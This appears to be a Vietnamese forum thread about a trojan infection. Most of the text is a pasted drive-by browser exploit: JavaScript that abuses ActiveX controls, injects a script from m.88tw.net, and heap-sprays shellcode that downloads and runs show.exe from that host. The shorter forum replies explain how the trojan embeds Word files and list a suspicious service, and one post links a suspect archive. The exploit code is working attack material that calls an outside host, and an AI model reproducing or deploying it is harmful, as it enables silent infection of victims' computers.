window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("Love=");
if (start != -1)
{}
else
{
var expires = new Date();
expires.setTime(expires.getTime() + 1 * 1 * 60 * 60 * 1000);
document.cookie = "Love=funny;expires=" + expires.toGMTString();
try{
var downf = document.createElement("object");
downf.setAttribute("classid", "clsidCE" + "2F8B1-A5" + "20-11" + "D4-8F" + "D0-00D0" + "B7730277");
var buffer = '\x0a';
downf.server = buffer;
downf.initialize();
downf.send();
document.write("<script language=\"javascript\" Src=http://m.88tw.net/1.js></sc" + "ript>");
}
catch(e)
{
};
} 

var target = new ActiveXObject("YWcUpl.WcUpload.1");
var shellcode = unescape("%u9090%u9090%u9090%u9090" +
"%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" +
"%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74f2" +
"%uc108%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b" +
"%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u038b" +
"%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c6c%u4300%u5c3a" +
"%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u408b" +
"%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c40" +
"%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec83" +
"%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6fe8" +
"%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353%ueb52" +
"%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83ff" +
"%u04ec%u2c83%u6224%ud0ff%u7ebf%ue2d8%ue873%uff40" +
"%uffff%uff52%ue8d0%uffd7%uffff%u7468%u7074%u2f3a" +
"%u6d2f%u382e%u7438%u2e77%u656e%u2f74%u6873%u776f" +
"%u652e%u6578%u0000");

headersize = 20;
bigblock = unescape("%u9090%u9090");
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<500; x++) memory[x] = block + shellcode;
var buffer = '\x0a';
while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a';
target.server = buffer;
target.initialize();
target.send(); 

Anh Hoàng giúp em với:
http://www.freefileupload.net/file.php?file=files/060607/1181136271/ex-plorer.rar
 

Ngoài ra, file Word được copy vào cuối file, may là không có bị mã hóa nên restore cũng đơn giản. Ngoài ra, bạn có thể thực thi tập tin bị nhiễm để trả về lại file word ban đầu 

Không phải biến, mà khi bạn click vào file .exe, trojan extract file word chứa trong file .exe ra. Hoàng đã xem 2 file word của bạn rồi, chỉ là file luận văn thôi. 1 file là trang bìa, còn 1 file cũng chưa có nội dung gì nhiều. Nếu bạn muốn thì Hoàng có thể up lại 2 file word cho ?  

:O23 - Service: K Print Spooler (kspooldaemon) - Unknown owner - C:\WINDOWS\system32\kspoold.exe